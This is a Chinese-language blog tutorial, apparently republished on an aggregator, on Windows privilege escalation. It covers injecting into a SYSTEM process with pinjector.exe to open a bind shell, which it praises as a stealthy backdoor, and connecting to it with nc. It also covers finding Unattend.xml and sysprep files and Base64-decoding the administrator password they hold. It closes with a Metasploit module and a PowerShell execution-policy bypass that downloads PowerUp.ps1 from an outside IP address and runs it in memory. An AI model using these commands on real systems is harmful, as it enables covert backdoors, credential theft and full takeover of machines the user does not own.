Windows提权—进程注入Unattended Installs提权

Posted Thgilil

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Windows提权—进程注入Unattended Installs提权相关的知识,希望对你有一定的参考价值。

进程注入提权

使用 pinjector.exe 注入到system用户的进程中,使该进程绑定在0.0.0.0:port ,并建立监听端口,攻击者从攻击机上主动连接该地址,获取到系统的system权限
注入进程提权相当于开启了一个后门, 隐蔽性极高,不会创建新的进程,很难发现

下载pinjector.exe

https://www.tarasco.org/security/Process_Injector/index.html

上传 pinjector.exe到靶机可执行目录

##列取所有进程
pinjector.exe -l

##选择一个system权限运行的进程,对此pid进程执行注入,并建立侦听端口
pinjector.exe -p <pid> cmd <port>

##使用 nc 连接目标服务器端口
nc -nv 192.168.0.117 5555

连接成功,获取到system权限的shell

Unattended Installs提权

通常大型组织在部署某些员工较多或时间紧缺的程序时,会使用Unattended Installs自动安装,这种方式允许程序在不需要管理员的操作下进行自动安装,这种方式在部署程序前期较有用,但它也会在系统中残留一个名为Unattend的XML文件,这个XML 件包含所有在安装程序过程中的配置,包括一些本地用户的配置,以及管理员账户等。

Unattend.xml 文件通常在以下文件夹中

C:\\sysprep.inf

C:\\syspreg\\sysprep.xml

C:\\Windows\\system32\\sysprep.inf

C:\\windows\\system32\\sysprep\\sysprep.xml

C:\\unattend.xml

C:\\Windows\\Panther\\Unattend.xml

C:\\Windows\\Panther\\Unattended.xml

C:\\Windows\\Panther\\Unattend\\Unattended.xml

C:\\Windows\\Panther\\Unattend\\Unattend.xml

C:\\Windows\\System32\\Sysprep\\Unattend.xml

C:\\Windows\\System32\\Sysprep\\Panther\\Unattend.xml

也可以使用命令全盘搜索Unattend文件

dir /b /s c:\\unattend.xml

除此之外,系统中遗留的 sysprep.xmlsysprep.inf 文件中也可能包含部署系统时使用的凭证信息,可以通过利用这些信息进行提权。

通过搜索 UserAccounts 、Administrators、password 等对凭证进行定位
部分文件内容如下:

<UserAccounts> 
    <LocalAccounts> 
        <LocalAccount> 
            <Password> 
                <Value>UEBzc3dvcmQxMjMhUGFzc3dvcmQ=</Value>                         <PlainText>false</PlainText> 
            </Password> 
            <Description>Local Administrator</Description>                        <DisplayName>Administrator</DisplayName>                             <Group>Administrators</Group> 
            <Name>Administrator</Name> 
        </LocalAccount> 
    </LocalAccounts> 
</UserAccounts>

在以上文件中,可以看到 一个本地账户被创建并加入到了管理员组中。
可以猜测密码的值应该是以Base64进行编码的
对密码值进行Base64解码

UEBzc3dvcmQxMjMhUGFzc3dvcmQ=
##解码得到
P@ssword123!Password

通常微软会在编码前的密码后加上password,
所以这里本地管理员的密码实际上是:P@ssword123!

MSF中的利用模块
使用 post/windows/gather/enum_unattend 模块枚举连接的session中的Unattend

msf6 > use post/windows/gather/enum_unattend
msf6 > set session 1
msf6 >exploit

powershell 利用模块搜寻

powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://120.79.66.58/mypowershell/PowerUp.ps1');Get-UnattendedInstallFile"

参考:
https://lengjibo.github.io/windows%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/
https://www.cnblogs.com/zpchcbd/p/12232683.html

以上是关于Windows提权—进程注入Unattended Installs提权的主要内容,如果未能解决你的问题,请参考以下文章

Windows权限提升—令牌窃取UAC提权进程注入等提权

Unattended Installs提权

kali实战-提权

Windows提权第一篇-内核溢出漏洞提权

windows 提权

正在等待缓存锁:无法获得锁 /var/lib/dpkg/lock-frontend。锁正由进程 12836(unattended-upgr)持有